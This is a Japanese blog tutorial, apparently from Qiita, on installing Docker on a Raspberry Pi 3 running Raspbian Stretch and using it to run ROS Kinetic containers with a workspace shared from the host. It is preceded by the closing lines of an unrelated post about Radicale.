登録に使用するURLは、上記の管理画面のURLと同じになります。


以上です。
それでは良いRadicaleライフを。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Dockerを用いてRaspberryPi3上でROSを使ってみる

はじめに

Dockerの勉強がしたかったので、ラズパイでDockerとROSを使ってみることにしました。ラズパイにROSをインストールする方法としては、Raspbian Jessie を使う方法や、ubuntu MATE を使う方法がありますが、ここではRaspbian StretchとDockerを使います。

環境構築

Raspbian Stretchのインストール

Installing operating system images を参考に、SDカードにRaspbianをインストールします。

  1. Raspbian Stretch with desktopをダウンロードします。RaspberryPi公式 からダウンロードするとかなり時間がかかりますが、JAISTのミラー からダウンロードすると早く終わります。(参考)
  2. ダウンロードしたzipファイルを解凍してSDカードに書き込みます。

Dockerのインストール

ラズパイを起動し、Get Docker CE for Debian にしたがってDocker CEをインストールします。(CEはCommunity Editionで無償版です。)

  1. 通常はリポジトリからインストールするそうですが、Raspbianにはまだ対応していないのでcurlでインストールスクリプトを持ってきてインストールするそうです。

    $ curl -fsSL https://get.docker.com -o get-docker.sh
    $ sudo sh get-docker.sh
    
  2. インストールが終わったら、sudoなしでdockerを使用できるように、dockerグループに現在のユーザを追加します。Raspbianの初期設定時のユーザ名はpiなので、次のコマンドを実行します。(ログアウト/ログイン後にusermodの変更が反映されるので、ここで再起動しておきます。)

    $ sudo usermod -aG docker pi
    $ reboot
    
  3. dockerが正常に動作するか確認するため、Hello Worldを実行します。

    $ docker run hello-world
    

    一瞬、「unable to find image 'hello-world:latest' locally」と表示されますが、ローカルにないDockerイメージからコンテナを作成しようとしたためです。ローカルにないイメージは自動的にダウンロードされます。
    2019-01-20-085056_1824x984_scrot.png
    「Hello from Docker!」が表示されました。

ROSを使ってみる

ROSイメージの利用

Getting started with ROS and Docker を参考にROSを動かしてみます。

  1. docker pullコマンドでDockerイメージを持ってきます。ROSのDockerイメージはDockerHubに登録されています。
    また、イメージ名の後ろにコロンとタグをつけることでROSのディストリビューションなどを指定することができます。今回はKineticを使ってみたいと思います。

    $ docker pull ros:kinetic
    
  2. ダウンロードが終わったら、docker runコマンドでイメージからコンテナを起動します。-itオプションをつけると、起動と同時にコンテナ内に入ります。

    $ docker run -it ros:kinetic
    
  3. コンテナ内で、roscoreコマンドを実行してROSのmasterを起動します。

    roscore
    
  4. 先ほど起動したコンテナの名前を取得します(docker runを実行するとき--nameオプションでコンテナ名を指定しないと適当な名前に設定されるそうです)。新しいターミナルを立ち上げてdocker psコマンドを実行すれば確認できます(-lオプションをつけると最後に起動したコンテナのみを表示します)。

    $ docker ps -l
    

    2019-01-24-213442_655x394_scrot.png
    このコンテナの名前はjolly_wingのようです。

  5. コンテナ名が分かったので、新しいターミナルからコンテナ内に入ります。docker execは指定したコマンドをコンテナ内で実行するコマンドですが、-itオプションをつけてbashを実行することで、コンテナ内に入ることができます。

    $ docker exec -it jolly_wing bash
    
  6. 入った直後にrostopic listを実行しようとすると、"bash: rostopic: command not found"のエラーになるので、先に以下のコマンドでROSの環境をセットアップします(もしくはsource /ros_entrypoint.shでもセットアップできるようです)。

    source /opt/ros/kinetic/setup.bash
    

    こうしてからrostopic listを実行すると、次のようにトピックのリストが表示されます。

    2019-01-24-221430_655x394_scrot.png

  7. コンテナから抜けるには、exitコマンドを実行します。

    exit
    

    ちなみに、docker execした方のターミナルでexitコマンドを実行するとコンテナから出た後もコンテナは動いたままです。一方、docker runでコンテナを起動したターミナルでexitコマンドを実行すると、コンテナも停止します。

  8. docker rmコマンドを使えばコンテナを削除できます。まず、現在のコンテナを確認します。docker psコマンドに-aオプションをつけると停止したコンテナも含めてすべてのコンテナの一覧が表示されます。

    $ docker ps -a
    

    2019-02-03-001153_655x394_scrot.png

    $ docker rm jolly_wing
    

    2019-02-03-002354_655x394_scrot.png

    コンテナが削除されました。

ワークスペースの作成

コンテナ内にROSのワークスペース(catkin_ws)を作り自作のROSパッケージを置きたいところですが、Dockerfile のベストプラクティスによるとコンテナはいつでも廃棄できるようにするべきらしく、ソースコードなどはコンテナ内に置かないようです。

Best practices for getting code into a containerを読む限り、外部のソースコードをコンテナ内に取り込む方法はいくつかあるようですが、とりあえずdocker runを実行する際に-vオプションを使うことで、ホスト側のディレクトリをコンテナと共有できるそうです。

Docker HubのDeployment suggestionsにも、-vオプションを使ってROSのログファイルをホスト側に残す方法が記載されていますので、これを参考にホスト側とコンテナ側で共有するワークスペースを作成します。

  1. ホスト側で~/.rosディレクトリと~/catkin_ws/srcディレクトリを作ります。

    $ mkdir ~/.ros
    $ mkdir -p ~/catkin_ws/src
    
  2. 次のコマンドでコンテナを起動します。-vの後に続く/home/pi/catkin_ws/がホスト側、:の後に続く/root/catkin_ws/```がコンテナ側のワークスペースのディレクトリです。

    $ docker run -it -v "/home/pi/.ros/:/root/.ros/" -v "/home/pi/catkin_ws/:/root/catkin_ws/" ros:kinetic
    
  3. コンテナの中に入ったら、Creating a ROS Packageを参考にチュートリアル用のROSパッケージを作ります。

    cd ~/catkin_ws/src
    catkin_create_pkg beginner_tutorials std_msgs rospy roscpp
    

    2019-02-03-005537_655x394_scrot.png

  4. パッケージを作成できたので、catkin_makeでワークスペースをビルドします。

    cd ~/catkin_ws
    catkin_make
    

    ビルドが終わるとbuildディレクトリが生成されます。
    2019-02-03-004948_655x394_scrot.png

  5. コンテナから抜けて、ホスト側のワークスペースにもROSパッケージとbuildディレクトリが追加されているか確認します。

    2019-02-03-005548_655x394_scrot.png

    これで、ホスト側のワークスペースにソースファイルを追加して編集すれば、再度docker runを実行したときに、それをコンテナに取り込むことができます。

おわりに

なんとかラズパイとDockerでROSが動くようにできました。少し手間がかかりますが、DockerfileからDockerイメージを作れるようになればいろいろ便利になりそうです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む